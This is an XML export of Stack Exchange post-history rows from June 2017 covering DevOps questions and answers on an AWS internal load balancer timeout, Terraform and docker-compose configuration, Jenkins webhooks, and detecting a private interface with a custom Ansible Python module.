  <row Id="4293" PostHistoryTypeId="5" PostId="1298" RevisionGUID="6e3d5aa3-8ec0-4764-abcd-0329276f0753" CreationDate="2017-06-06T15:30:35.763" UserId="3039" Comment="add diagram, and more detail to weird things." Text="Thanks for taking the time to help me with this. I've lost count of how many days I've spent banging my head against this problem and I'm stuck at a dead end.&#xD;&#xA; &#xD;&#xA;## Some background: &#xD;&#xA; &#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network across two availability zones. Each layer has a subnet in zone-a and zone-b. The presentation layer is at the top, there’s an application layer in the middle, and a core layer at the bottom.&#xD;&#xA; &#xD;&#xA;All of the security groups and ACL's for the subnets are currently allowing ALL inbound and outbound traffic to help me reduce surface area of the issue. &#xD;&#xA; &#xD;&#xA;The presentation layer’s routing table is pointing all traffic to an internet gateway. The NAT gateway is in a segregated subnet also pointing all traffic to the internet gateway.&#xD;&#xA; &#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a classic load balancer. &#xD;&#xA; &#xD;&#xA;The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. &#xD;&#xA; &#xD;&#xA;My API has an internal load balancer in front of it. The API-ELB is in the application layer (in the same subnet as the app-ec2), and takes traffic on port 80/443 and routes it down to the api-ec2 in the core on port 3000.&#xD;&#xA; &#xD;&#xA;Both load balancers are offloading the certificate before passing traffic to their instances.&#xD;&#xA; &#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url (https://app.website.com). Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA; &#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA;&#xD;&#xA;Here's a [quick and dirty diagram][1] of my network.&#xD;&#xA; &#xD;&#xA;## The problem:&#xD;&#xA; &#xD;&#xA;The APP-ELB successfully routes me to the application. However, when the app tries to send a GET request to the API-ELB, it first sends an OPTIONS request that tims out with the error code 408.&#xD;&#xA; &#xD;&#xA;**Where it gets weird**&#xD;&#xA; &#xD;&#xA;Some of the weirdest things I've encountered while debugging are:&#xD;&#xA; &#xD;&#xA; 1. I can SSH into the app-ec2 instance and can run a successful curl against the API-ELB. I’ve tried many, and they all work. A few examples are: `curl -L https://api.website.com/system/healthcheck` and `curl -L -X OPTIONS https://api.website.com/system/healthcheck`. It always returns the desired information.&#xD;&#xA; 2. I've moved the entire application out of my network into a public default vpc and it works as it's supposed to.&#xD;&#xA; 3. I have the api-ec2 writing all network requests to the console. While it shows the healthcheck requests, it does not show any requests from the app-ec2. This leads me to believe traffic is not even reaching the api.&#xD;&#xA; &#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA; &#xD;&#xA;## What I've tried&#xD;&#xA; &#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA; &#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA; &#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA; &#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!&#xD;&#xA; &#xD;&#xA;*edit: lots of clarification* &#xD;&#xA;&#xD;&#xA;*edit: added diagram, and another weird item*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://drive.google.com/a/emeentsmedia.com/file/d/0B8gkXonu3RXqaGJHU1Y0U1ZRUHc/view?usp=drivesdk" ContentLicense="CC BY-SA 3.0" />
  <row Id="4294" PostHistoryTypeId="5" PostId="1299" RevisionGUID="27f19f64-82fd-4408-90a2-4eb13a333bc2" CreationDate="2017-06-06T15:37:50.840" UserId="2845" Comment="added 464 characters in body" Text="This sounds like an asymmetric or n-path routing issue. Here is what is probably happening:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Machine A at IP address 192.168.1.1 makes initiates a [SYN] request through the LB at 192.168.1.10. the LB then proxies the payload to Machine B at 192.168.1.2, so the payload now has source: 192.168.1.1 and has has destination: 192.168.1.2 (which used to be 192.168.1.10).&#xD;&#xA;&#xD;&#xA;So what happens now when 192.168.1.2 responds with a [SYN, ACK]? What *should* happen is that Machine B should respond to Machine A *through the load balancer* - typically because of a default route or gateway on the server that routes traffic through the LB. In this case however, the machine is on the same subnet, so the route/gateway is not used and the routing table ignored by the server. This means that when the server responds, the [SYN,ACK] appears to Machine A to come from an IP different than the IP that Machine A initiated the request with - it was expecting a source IP of 192.168.1.10 (the LB) but is seeing a [SYN,ACK] coming from 192.168.1.2 (machine B) and thus the LB is unable to establish a connection with the machine B in this scenario because the response went to the wrong device.&#xD;&#xA;&#xD;&#xA;The reason this works for external traffic is because of your default route - the responses to everyone else are routed through the ELB. The ELB sees that it was initiating a connection and automagically intercepts the response and swaps the source of 192.168.1.2 back to 192.168.1.10.&#xD;&#xA;&#xD;&#xA;So, for one solution to this issue, you could implement [one-armed load balancing](http://networkgeekstuff.com/networking/basic-load-balancer-scenarios-explained/) (also known as a load balancer on a stick). What this will do is use a Source NAT on the inside interface of the load balancer  (so assume you had outside interface 192.168.1.10 on your load balancer and 192.168.1.11 on the inside interface). This will make all traffic appear to be coming from 192.168.1.11 from the perspective of Machine B which should solve your connection issue.&#xD;&#xA;&#xD;&#xA;It appears however, that your [AWS ELB doesn't support SNAT](https://forums.aws.amazon.com/thread.jspa?messageID=331340#331340), so you will either need to put your hosts and ELB on different subnets or use something that supports SNATs like F5's Virtual Edition which comes in [hourly](https://aws.amazon.com/marketplace/pp/B00JL3UCQ4) or [BYOL](https://aws.amazon.com/marketplace/pp/B00KXHNAPW) flavors. Beware connection limitations with SNATing though - if you need over about 30k simultaneous connections you will run into [SNAT port exhaustion and need to start using a SNAT pool.](https://support.f5.com/csp/article/K8246).&#xD;&#xA;&#xD;&#xA;Hence, you best solution (for cost and to prevent future issues) would be to make sure the client and server are on different subnets.&#xD;&#xA;&#xD;&#xA;The best way to confirm would be to use [tcpdump](https://danielmiessler.com/study/tcpdump/) on the connecting host and/or back-end server and look for responses coming directly to/from the back-end server instead of going through the load balancer. You can then load your dump file into WireShark to figure out exactly what is going on.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4295" PostHistoryTypeId="2" PostId="1308" RevisionGUID="d780c263-363b-4071-86b8-24b975f4ee33" CreationDate="2017-06-06T15:40:35.257" UserId="2845" Text="[Linux Academy](https://linuxacademy.com/) has several webinars and tutorials in several technologies favored by DevOps shops including AWS, Docker, Ansible, Jenkins, Puppet and many more." ContentLicense="CC BY-SA 3.0" />
  <row Id="4296" PostHistoryTypeId="2" PostId="1309" RevisionGUID="984d6b61-2a94-4086-bcba-1164632a8a61" CreationDate="2017-06-06T17:28:14.340" UserId="2699" Text="I have a terraform plan which consists of multiple `aws_sqs_queue` resources which more of less share the same config. Before I remove any repeating configs and use variables I wanted to run `terraform plan` to see if it works. However I keep running into - &#xD;&#xA;&#xD;&#xA;    module root: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * data.template_file.ep_match_result_queues: resource repeated multiple times&#xD;&#xA;&#xD;&#xA;Ive tried googling but there is not much information available. Any help will be much appreciated. My plan looks like this: (ignore extra braces, typos as this is just a skeleton to give you a general idea how the plan is sturctured):&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;ep_match_result_queues&quot; {&#xD;&#xA;      template = &quot;${var.namespace}-sm-ep&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sns_topic&quot; &quot;sns_topic_name&quot; {&#xD;&#xA;      name            = &quot;ep_sm_match_result_topic${var.environment}&quot;&#xD;&#xA;      display_name    = &quot;&quot;&#xD;&#xA;      policy          = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue1&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue2&quot; {&#xD;&#xA;     #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue3&quot; {&#xD;&#xA;    #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue4&quot; {&#xD;&#xA;     #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue5&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue6&quot; {&#xD;&#xA;      #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue7&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue8&quot; {&#xD;&#xA;      #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue_policy&quot; &quot;queue_policy&quot; {&#xD;&#xA;      queue_url = [ ... ]&#xD;&#xA;      policy    = &quot;${data.aws_iam_policy_document.match_result_queues_policy.json}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_iam_policy_document&quot; &quot;match_result_queues_policy&quot; {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I " ContentLicense="CC BY-SA 3.0" />
  <row Id="4297" PostHistoryTypeId="1" PostId="1309" RevisionGUID="984d6b61-2a94-4086-bcba-1164632a8a61" CreationDate="2017-06-06T17:28:14.340" UserId="2699" Text="Terraform - resource repeated multiple times" ContentLicense="CC BY-SA 3.0" />
  <row Id="4298" PostHistoryTypeId="3" PostId="1309" RevisionGUID="984d6b61-2a94-4086-bcba-1164632a8a61" CreationDate="2017-06-06T17:28:14.340" UserId="2699" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4299" PostHistoryTypeId="2" PostId="1310" RevisionGUID="512330d1-3f61-4367-ad63-82fe0f723b5c" CreationDate="2017-06-06T17:35:21.077" UserId="210" Text="The docker-compose.override contains:&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./a:/path/to/a&#xD;&#xA;&#xD;&#xA;The docker-compose:&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - a:/path/to/a&#xD;&#xA;&#xD;&#xA;When docker-compose up is run the override overwrite the `./a` overwrites the `a`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When a new volume is added to docker-compose, the override will try to mount is as well. &#xD;&#xA;&#xD;&#xA;docker-compose.override&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./a:/path/to/a&#xD;&#xA;&#xD;&#xA;The docker-compose:&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - a:/path/to/a&#xD;&#xA;      - b:/path/to/b&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to prevent that the override will use volumes that are defined in the docker-compose file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When docker-compose.override contains&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      - a:/path/to/a&#xD;&#xA;      - .b:/path/to/b&#xD;&#xA;&#xD;&#xA;the b is still mounted...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4300" PostHistoryTypeId="1" PostId="1310" RevisionGUID="512330d1-3f61-4367-ad63-82fe0f723b5c" CreationDate="2017-06-06T17:35:21.077" UserId="210" Text="What are best practices to override complete sections using docker-compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4301" PostHistoryTypeId="3" PostId="1310" RevisionGUID="512330d1-3f61-4367-ad63-82fe0f723b5c" CreationDate="2017-06-06T17:35:21.077" UserId="210" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4302" PostHistoryTypeId="5" PostId="1309" RevisionGUID="adbb8bee-07f3-4ace-bc3f-937504a4a663" CreationDate="2017-06-06T17:44:23.717" UserId="2699" Comment="deleted 9 characters in body" Text="I have a terraform plan which consists of multiple `aws_sqs_queue` resources which more of less share the same config. Before I remove any repeating configs and use variables I wanted to run `terraform plan` to see if it works. However I keep running into - &#xD;&#xA;&#xD;&#xA;    module root: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * data.template_file.ep_match_result_queues: resource repeated multiple times&#xD;&#xA;&#xD;&#xA;Ive tried googling but there is not much information available. Any help will be much appreciated. My plan looks like this: (ignore extra braces, typos as this is just a skeleton to give you a general idea how the plan is sturctured):&#xD;&#xA;&#xD;&#xA;    data &quot;template_file&quot; &quot;ep_match_result_queues&quot; {&#xD;&#xA;      template = &quot;${var.namespace}-sm-ep&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sns_topic&quot; &quot;sns_topic_name&quot; {&#xD;&#xA;      name            = &quot;ep_sm_match_result_topic${var.environment}&quot;&#xD;&#xA;      display_name    = &quot;&quot;&#xD;&#xA;      policy          = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue1&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue2&quot; {&#xD;&#xA;     #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue3&quot; {&#xD;&#xA;    #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue4&quot; {&#xD;&#xA;     #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue5&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue6&quot; {&#xD;&#xA;      #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue7&quot; {&#xD;&#xA;     #config&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue&quot; &quot;queue8&quot; {&#xD;&#xA;      #config&#xD;&#xA;    &#xD;&#xA;        redrive_policy             = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_sqs_queue_policy&quot; &quot;queue_policy&quot; {&#xD;&#xA;      queue_url = [ ... ]&#xD;&#xA;      policy    = &quot;${data.aws_iam_policy_document.match_result_queues_policy.json}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_iam_policy_document&quot; &quot;match_result_queues_policy&quot; {&#xD;&#xA;     #policy&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4303" PostHistoryTypeId="2" PostId="1311" RevisionGUID="38cceb15-10b4-452a-83c8-0d21d44c9ae1" CreationDate="2017-06-06T17:47:38.507" UserId="3061" Text="I'm searching for a framework for running system tests. The requirement are:&#xD;&#xA;&#xD;&#xA; - Able to manage provisioning to multiple physical machine&#xD;&#xA; - Able to manage provisioning to multiple virtual environments (AWS, Azure, etc)&#xD;&#xA; - Able to run tests on a given machine be it physical or virtual.&#xD;&#xA; - Not bound to a single language or platform. We wish to at least test against Linux, Windows at least.&#xD;&#xA;&#xD;&#xA;Is there anything that meets those requirements?&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4304" PostHistoryTypeId="1" PostId="1311" RevisionGUID="38cceb15-10b4-452a-83c8-0d21d44c9ae1" CreationDate="2017-06-06T17:47:38.507" UserId="3061" Text="System test frameworks for scale testing on physical and virtual systems" ContentLicense="CC BY-SA 3.0" />
  <row Id="4305" PostHistoryTypeId="3" PostId="1311" RevisionGUID="38cceb15-10b4-452a-83c8-0d21d44c9ae1" CreationDate="2017-06-06T17:47:38.507" UserId="3061" Text="&lt;testing&gt;&lt;systems&gt;&lt;control-framework&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4306" PostHistoryTypeId="2" PostId="1312" RevisionGUID="3f05c2e4-8264-4d76-aa42-31f569d099ef" CreationDate="2017-06-06T19:19:42.177" UserId="736" Text="We use Jenkins and have the Bitbucket plugin installed. We've got multiple repos and use webhooks for lots of jobs coming from our `foo` repo. No problems there, the jobs go off without a hitch. Now however we want to start running a couple jobs via webhook from our `bar` repo. &#xD;&#xA;&#xD;&#xA;###The Problem###&#xD;&#xA;The default behavior here is that as soon as we attach a webhook to `bar`, commits to either repo will trigger any job with polling. I know we can hardcode in logic in each job to either only build when commits match a certain pattern, or ignore any commits matching a pattern.&#xD;&#xA;&#xD;&#xA;Given the number of jobs we have that currently use polling this would be insanely unideal to have to code in to make it backwards compatible, not to mention potentially doing this again if we start running unit tests on even more repos in the future. &#xD;&#xA;&#xD;&#xA;###The Ideal Solution###&#xD;&#xA;I'm hoping I might be missing some way to differentiate between commits made from `foo` vs `bar` on the Bitbucket side, rather than needing to change anything in each Jenkins job. Ideally, there's some way to change the webhook so each repo gets its own url. Does this, or some other blanket solution, exist? (I will accept &quot;no&quot; as an answer if that's the case)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4307" PostHistoryTypeId="1" PostId="1312" RevisionGUID="3f05c2e4-8264-4d76-aa42-31f569d099ef" CreationDate="2017-06-06T19:19:42.177" UserId="736" Text="Bitbucket Webhook plugin for Jenkins - differentiate between branches" ContentLicense="CC BY-SA 3.0" />
  <row Id="4308" PostHistoryTypeId="3" PostId="1312" RevisionGUID="3f05c2e4-8264-4d76-aa42-31f569d099ef" CreationDate="2017-06-06T19:19:42.177" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4309" PostHistoryTypeId="6" PostId="210" RevisionGUID="c4f82031-3c6a-43a8-b4a7-a5c3f738f5ce" CreationDate="2017-06-06T19:40:45.787" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;process&gt;&lt;project-management&gt;&lt;analysis&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4310" PostHistoryTypeId="24" PostId="210" RevisionGUID="c4f82031-3c6a-43a8-b4a7-a5c3f738f5ce" CreationDate="2017-06-06T19:40:45.787" Comment="Proposed by 739 approved by 47, 14 edit id of 362" ContentLicense="CC BY-SA 3.0" />
  <row Id="4311" PostHistoryTypeId="6" PostId="86" RevisionGUID="6470f216-7366-4433-9e35-32ce99cac3fd" CreationDate="2017-06-06T19:40:49.333" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;sre&gt;&lt;job-role&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4312" PostHistoryTypeId="24" PostId="86" RevisionGUID="6470f216-7366-4433-9e35-32ce99cac3fd" CreationDate="2017-06-06T19:40:49.333" Comment="Proposed by 739 approved by 47, 14 edit id of 363" ContentLicense="CC BY-SA 3.0" />
  <row Id="4313" PostHistoryTypeId="2" PostId="1313" RevisionGUID="d2c8beb3-d828-446a-af15-62fc426daeff" CreationDate="2017-06-06T19:42:34.320" UserId="1084" Text="I plan to reconfigure `iptables` on our servers(mostly CentOS 7, some CentOS 6). Servers with different network configurations, some on 1Gbit interface, some on 10Gbit, some with VLANs and some with configured LACP. I'm want to use Ansible, but couldn't find how to detect what inteface have private address. Private address we could get from inventory as `ansible_ssh_host`.&#xD;&#xA;&#xD;&#xA;Is there any Ansible module that could help? Or I should write shell/python script?&#xD;&#xA;&#xD;&#xA;I checked all solution on StackOverflow and ServerFault but haven't found anything." ContentLicense="CC BY-SA 3.0" />
  <row Id="4314" PostHistoryTypeId="1" PostId="1313" RevisionGUID="d2c8beb3-d828-446a-af15-62fc426daeff" CreationDate="2017-06-06T19:42:34.320" UserId="1084" Text="How to detect what interface have private IP in Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="4315" PostHistoryTypeId="3" PostId="1313" RevisionGUID="d2c8beb3-d828-446a-af15-62fc426daeff" CreationDate="2017-06-06T19:42:34.320" UserId="1084" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4316" PostHistoryTypeId="2" PostId="1314" RevisionGUID="1f67d06b-3a07-4ff8-9479-0cc4208fe470" CreationDate="2017-06-06T20:03:23.030" UserId="2403" Text="I had originally made this a comment, but I think it's worthy of it's own answer. Having been through a few different certification programs, I definitely think the RHCE (RedHat Certified Engineer) program is worth it's weight in gold. The prerequisite is RHCSA (RedHat Certified Systems Administrator), and RedHat does offer a &quot;both-at-once&quot; class where you have 4 days to cover both topics, and two exams on Friday. (I would only recommend this for someone who is already extremely familiar with administrating a RedHat system.)&#xD;&#xA;&#xD;&#xA;If your employer is willing to fit the bill, I think that it would be a great start. RedHat also offers quite a few &quot;DevOpsy&quot; type courses as well, like OpenStack/OpenShift, Ansible (a HUGELY popular DevOps product), and many others.&#xD;&#xA;&#xD;&#xA;You can see their offerings [here][1].&#xD;&#xA;&#xD;&#xA;Edit: I also have seen quite a lot of demand for AWS as well, so that would also be a good place to start. The &quot;Free Tier&quot; Amazon offers is a great place to start playing around with it and get some practical experience.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.redhat.com/en/services/certification" ContentLicense="CC BY-SA 3.0" />
  <row Id="4317" PostHistoryTypeId="5" PostId="1308" RevisionGUID="6ea193df-e7e2-4389-8821-8432f41c581d" CreationDate="2017-06-06T20:10:33.280" UserId="2845" Comment="added 48 characters in body" Text="[Linux Academy](https://linuxacademy.com/) has several webinars and tutorials (including sandbox VMs for hands-on experience) in several technologies favored by DevOps shops including AWS, Docker, Ansible, Jenkins, Puppet and many more." ContentLicense="CC BY-SA 3.0" />
  <row Id="4318" PostHistoryTypeId="2" PostId="1315" RevisionGUID="99b047a5-8134-4d1a-8342-384e65828500" CreationDate="2017-06-06T21:41:31.700" UserId="323" Text="I couldn't find it in ansible, I wrote something similar to help a couple of weeks ago though.&#xD;&#xA;&#xD;&#xA;    import fcntl&#xD;&#xA;    import json&#xD;&#xA;    import os&#xD;&#xA;    import platform&#xD;&#xA;    import subprocess&#xD;&#xA;    import socket&#xD;&#xA;    import struct&#xD;&#xA;    import re&#xD;&#xA;    from random import randint&#xD;&#xA;    import time&#xD;&#xA;    from ansible.module_utils.basic import *&#xD;&#xA;&#xD;&#xA;    def get_interface_info_for_ip(ip):&#xD;&#xA;    &#xD;&#xA;      ifconfig_process = subprocess.Popen(['/sbin/ifconfig'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xD;&#xA;      ifconfig_stdout_lines, ifconfig_stderr_lines = ifconfig_process.communicate()&#xD;&#xA;    &#xD;&#xA;      for ifconfig_stdout_line in ifconfig_stdout_lines.split('\n'):&#xD;&#xA;        if 'mtu' in ifconfig_stdout_line.split():&#xD;&#xA;          current_ifdesc = ''&#xD;&#xA;          current_mtu = ''&#xD;&#xA;          current_ip = ''&#xD;&#xA;          current_netmask = ''&#xD;&#xA;          current_mac = ''&#xD;&#xA;          ifdesc_line_match = re.match(r'(?P&lt;ifdesc&gt;[a-zA-Z0-9]+):.+mtu\s+(?P&lt;mtu&gt;[0-9]+)', ifconfig_stdout_line )&#xD;&#xA;          if ifdesc_line_match:&#xD;&#xA;            current_ifdesc = ifdesc_line_match.groupdict()['ifdesc']&#xD;&#xA;            current_mtu = ifdesc_line_match.groupdict()['mtu']&#xD;&#xA;    &#xD;&#xA;        if 'inet' in ifconfig_stdout_line.split():&#xD;&#xA;          inet_line_match = re.match(r'\s+inet\s+(?P&lt;ip&gt;[0-9.]+)\s+netmask\s+(?P&lt;netmask&gt;[0-9.]+)', ifconfig_stdout_line)&#xD;&#xA;          if inet_line_match:&#xD;&#xA;             current_ip = inet_line_match.groupdict()['ip']&#xD;&#xA;             current_netmask = inet_line_match.groupdict()['netmask']&#xD;&#xA;    &#xD;&#xA;        if 'ether' in ifconfig_stdout_line.split():&#xD;&#xA;          ether_line_match = re.match(r'\s+ether\s+(?P&lt;mac&gt;[0-9a-f:]+)', ifconfig_stdout_line)&#xD;&#xA;          if ether_line_match:&#xD;&#xA;             current_mac = ether_line_match.groupdict()['mac']&#xD;&#xA;    &#xD;&#xA;        if current_ifdesc and current_mtu and current_ip and current_netmask and current_mac and current_ip == ip:&#xD;&#xA;          return current_ifdesc, current_mtu, current_ip, current_netmask, current_mac&#xD;&#xA;&#xD;&#xA;    def main(argv=None):&#xD;&#xA;        if argv is None:&#xD;&#xA;          argv = sys.argv&#xD;&#xA;    &#xD;&#xA;        module = AnsibleModule(&#xD;&#xA;            argument_spec = dict(&#xD;&#xA;               silo_ip = dict(required=True),&#xD;&#xA;            )&#xD;&#xA;        )&#xD;&#xA;        my_ip = module.params['ip']&#xD;&#xA;        ifdesc, mtu, ip, netmask, mac = get_interface_info_for_ip(my_ip)&#xD;&#xA;    &#xD;&#xA;        module.exit_json(changed=True, ifdesc=ifdesc, ip=ip, mac=mac, netmask=netmask, mtu=mtu)&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        main()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;call the file get_ip_facts, put it in your library path and call it with&#xD;&#xA;&#xD;&#xA;    name: get facts for ip address&#xD;&#xA;    get_ip_facts: ip={{ whatever_your_ip_is }}" ContentLicense="CC BY-SA 3.0" />
  <row Id="4319" PostHistoryTypeId="6" PostId="573" RevisionGUID="00c4a1d8-c543-422d-86e4-14d46c167813" CreationDate="2017-06-07T01:24:03.187" UserId="739" Comment="add terminology tag" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4320" PostHistoryTypeId="24" PostId="573" RevisionGUID="00c4a1d8-c543-422d-86e4-14d46c167813" CreationDate="2017-06-07T01:24:03.187" Comment="Proposed by 739 approved by 46 edit id of 365" ContentLicense="CC BY-SA 3.0" />
  <row Id="4321" PostHistoryTypeId="6" PostId="686" RevisionGUID="c556948c-9d72-4ed2-aa6b-a45ec0155e1b" CreationDate="2017-06-07T01:24:05.910" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;culture&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4322" PostHistoryTypeId="24" PostId="686" RevisionGUID="c556948c-9d72-4ed2-aa6b-a45ec0155e1b" CreationDate="2017-06-07T01:24:05.910" Comment="Proposed by 739 approved by 46 edit id of 364" ContentLicense="CC BY-SA 3.0" />
  <row Id="4323" PostHistoryTypeId="5" PostId="1313" RevisionGUID="155fb442-ba43-4159-9ef6-ad0939ec1335" CreationDate="2017-06-07T01:57:44.377" UserId="375" Comment="grammar fixes" Text="I plan to reconfigure `iptables` on our servers (mostly CentOS 7, some CentOS 6) with different network configurations, some on 1Gbit interface, some on 10Gbit, some with VLANs and some with configured LACP.&#xA;&#xA;I want to use Ansible, but couldn't find how to detect what inteface has private address. Private address we could get from inventory as `ansible_ssh_host`.&#xD;&#xA;&#xD;&#xA;Is there any Ansible module that could help? Or I should write shell/Python script?&#xD;&#xA;&#xD;&#xA;I checked all solutions on StackOverflow and ServerFault but haven't found anything." ContentLicense="CC BY-SA 3.0" />
